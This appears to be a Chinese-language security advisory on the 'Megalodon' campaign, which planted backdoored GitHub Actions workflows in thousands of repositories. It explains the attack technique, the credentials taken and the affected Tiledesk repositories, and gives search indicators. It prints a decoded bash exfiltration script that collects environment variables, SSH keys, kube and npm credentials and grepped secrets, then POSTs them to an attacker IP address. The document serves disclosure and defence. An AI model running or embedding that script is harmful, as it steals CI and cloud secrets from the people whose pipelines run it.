一场伪造的提交。一个伪装成常规 CI 优化的工作流文件。六小时内,5561 个 GitHub 仓库被植入后门。云凭据被收割。SSH 密钥被盗。OIDC 令牌在运行器完成任何任务前就被签发并外泄。攻击者从未触碰您的应用程序代码,只动用了您的流水线。大多数仓库根本不知道发生了什么。
2026 年 5 月 18 日,一个被追踪为 Megalodon 的大规模供应链攻击活动,在短短六小时内向超过 5500 个开源仓库注入了恶意的 GitHub Actions 工作流。该活动针对分支保护薄弱的仓库,推送了植入后门的 CI 工作流文件,旨在窃取每次后续流水线运行中的所有机密信息,包括云凭据、SSH 密钥、API 令牌以及 GitHub Actions OIDC 令牌。
背景:GitHub Actions 攻击面
GitHub Actions 工作流执行任意 shell 命令,可访问注入 CI 环境的所有机密。当仓库授予 id-token: write 权限时,工作流还可以签发短期有效的 OIDC 令牌,直接向云提供商进行身份验证,无需静态凭据。这使得 CI 运行器成为高价值目标:单次工作流执行即可获取 AWS 访问密钥、GCP 服务账户令牌、Azure IMDS 凭据、Kubernetes 配置以及所有仓库机密。
分支保护规则是防止未授权工作流注入的主要关卡。未设置强制拉取请求审查的仓库,允许任何具有写权限的账户,或任何来自公开 fork 且合并控制薄弱、已被接受的 PR,将工作流更改直接落地到默认分支。Megalodon 系统性地大规模利用了这一漏洞。
攻击技术:受污染流水线执行(d-PPE)
Megalodon 是一场教科书式的直接受污染流水线执行(d-PPE)攻击,这是一种 CI/CD 攻击类别,攻击者凭借对仓库的写权限直接向工作流定义文件注入恶意代码,导致 CI 系统在下次流水线运行时执行攻击者控制的命令。与间接 PPE(i-PPE)不同,间接 PPE 需要来自 fork 的拉取请求,d-PPE 利用直接推送到默认分支的权限,完全绕过任何拉取请求审查关卡。
该技术映射到 MITRE ATT&CK T1195.002(供应链妥协: compromises 软件供应链),并记录在 CISA 关于 CI/CD 安全风险的指南中。此攻击之所以特别有效,原因如下:
- 工作流 YAML 文件收到的安全审查远少于应用程序代码
- 机器人式的提交消息混入高速活跃的仓库,毫无阻碍
- CI 运行器默认拥有广泛的出站互联网访问权限,无需突破任何防火墙
- 临时运行器环境在作业完成后几乎不留下取证痕迹
d-PPE 与 i-PPE 的区别: 在 d-PPE 中,攻击者直接推送到目标分支,无需 PR,不触发任何审查。带有强制审查要求的分支保护是主要结构控制措施,它将 d-PPE 机会转化为更困难的 i-PPE 问题,此时攻击者必须诱骗维护者合并一个恶意 PR。
有效载荷能力
两个工作流变体都包含 base64 编码的 bash 有效载荷,在 CI 运行期间解码并内联执行。两个变体中的有效载荷功能完全相同,仅在触发条件上有所不同。执行时,它执行以下收集和外泄序列:
凭据和机密收割
- 环境变量: 完整的 CI 环境转储、
/proc/*/environ(针对所有运行中的进程)以及 PID 1 环境数据 - 云凭据: AWS 访问密钥和会话令牌、GCP OAuth 令牌、Azure IMDS 响应和实例角色凭据
- 认证材料: SSH 私钥、Docker 注册表配置(
~/.docker/config.json)、.npmrc令牌、Kubernetes 配置(~/.kube/config)、HashiCorp Vault 令牌、Terraform 凭据 - CI/CD 令牌: GitHub Actions OIDC 令牌(通过
id-token: write权限签发)、GitLab CI/CD 令牌、Bitbucket 流水线令牌 - 源代码机密: 在工作空间中对文件系统进行 grep,扫描 30 多种机密模式——API 密钥、连接字符串、JWT、PEM 证书、
.env文件、credentials.json、service-account.json
外泄
所有收割的数据被压缩成单个存档,通过 HTTPS POST 传输到 216.126.225.129:8443。有效载荷使用 GitHub Actions 运行器的出站互联网访问权限——大多数 CI 环境对此不做限制,直达 C2 服务器。用户看不到任何进程异常或崩溃;外泄完成后工作流步骤干净退出。
# Decoded exfiltration sequence (representative)
DATA=$(env; cat /proc/1/environ 2>/dev/null; \
cat ~/.ssh/id_* 2>/dev/null; \
cat ~/.kube/config 2>/dev/null; \
cat ~/.npmrc 2>/dev/null; \
grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY|BEGIN RSA)" . 2>/dev/null)
echo "$DATA" | gzip | curl -s -X POST \
https://216.126.225.129:8443/collect \
-H "Content-Type: application/octet-stream" \
--data-binary @-Harden-Runner 作业洞察,显示被阻止的到 C2 服务器的出站连接
受影响仓库
该活动波及 GitHub 上 5561 个仓库。SafeDep 已发布全部 5718 个恶意提交的完整数据集作为 megalodon-campaign-commits.csv。以下是已确认的最主要目标;可在 GitHub 上使用以下各节中的搜索链接查询完整范围。
值得注意的受影响组织和软件包
Tiledesk(9 个仓库)——开源实时聊天和聊天机器人平台。npm 包 @tiledesk/tiledesk-server 在 2.18.6–2.18.12 版本中被植入后门;后门通过 npm 注册表传播到下游消费者。
Black-Iron-Project(8 个仓库)——在同活动窗口内受到定向变体攻击。
WISE-Community(已确认)——教育技术开源社区。
全部 9 个受影响的 Tiledesk 仓库:
- tiledesk/tiledesk-server
- tiledesk/tiledesk-dashboard
- tiledesk/tiledesk-telegram-connector
- tiledesk/tiledesk-llm
- tiledesk/tiledesk-docker-proxy
- tiledesk/tiledesk-community-app
- tiledesk/tiledesk-campaign-dahboard
- tiledesk/tiledesk-helpcenter-template
- tiledesk/tiledesk-ai
搜索恶意工作流内容
注入的工作流文件使用标准名称(ci.yml、docker-community-worker-push-latest.yml)以避免引起怀疑。文件内的工怍流 name 字段设置为 SysDiag 或 Optimize-Build。按内容搜索以查找受影响的仓库:
- GitHub 代码搜索:
name: SysDiag在工作流文件中:大规模变体 - GitHub 代码搜索:
name: Optimize-Build在工作流文件中:定向变体 - GitHub 代码搜索:文件名
SysDiag.yml在.github/workflows/ - GitHub 代码搜索:文件名
Optimize-Build.yml在.github/workflows/
搜索伪造提交
按伪造的作者身份或提交消息搜索以查找收到恶意提交的仓库:
build-bot@github-ci.com的提交ci-pipeline@actions-bot.com的提交- 提交:
"ci: add build optimization step"bybuild-bot - 提交:
"chore: optimize pipeline runtime"byauto-ci - 提交:
"chore: update ci/cd pipeline"byci-bot - 提交哈希:
acac5a9854650c4ae2883c4740bf87d34120c038(Tiledesk 锚点提交)
我们正在积极分析活动基础设施和受影响仓库。随着技术分析进展,本文将持续更新,包括完整有效载荷详情、解码后的外泄序列、完整妥协指标以及额外受影响的仓库数据。